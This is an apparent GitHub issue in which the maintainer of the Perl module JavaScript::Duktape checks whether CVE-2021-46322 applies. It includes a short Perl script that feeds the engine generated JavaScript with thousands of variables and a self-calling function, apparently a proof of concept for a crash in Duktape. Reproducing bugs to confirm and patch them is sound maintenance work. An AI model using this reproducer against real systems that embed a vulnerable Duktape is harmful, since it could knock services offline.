Does CVE-2021-46322 affect this? #41

Activity

1. robrwo commented on Jun 24, 2022

   

   robrwo

   on Jun 24, 2022

   Author

   More actions

   I verified that this is an issue:

   use JavaScript::Duktape;
   
   my $js = JavaScript::Duktape->new();
   
   $js->eval( << "POS"
   function JSEtest() {
       var src = [];
       var i;
   
       src.push('(function test() {');
       for (i = 0; i < 1e4; i++) {
           src.push('var x' + i + ' = ' + i + ';');
       }
       src.push('var arguments = test(); return "dummy"; })');
       src = src.join('');
   
       var f = eval(src)(src);
   
       try {
           f();
       } catch (e) {
           print(e.name + ': ' + e.message);
       }
   
       print('still here');
   }
   
   try {
       JSEtest();
   } catch (e) {
       print(e.stack || e);
   }
   
   POS
   
       );
2. robrwo

   added a commit that references this issue on Jun 24, 2022

   Add review to JavaScript-Duktape CVE

   ...

   fc1e8e0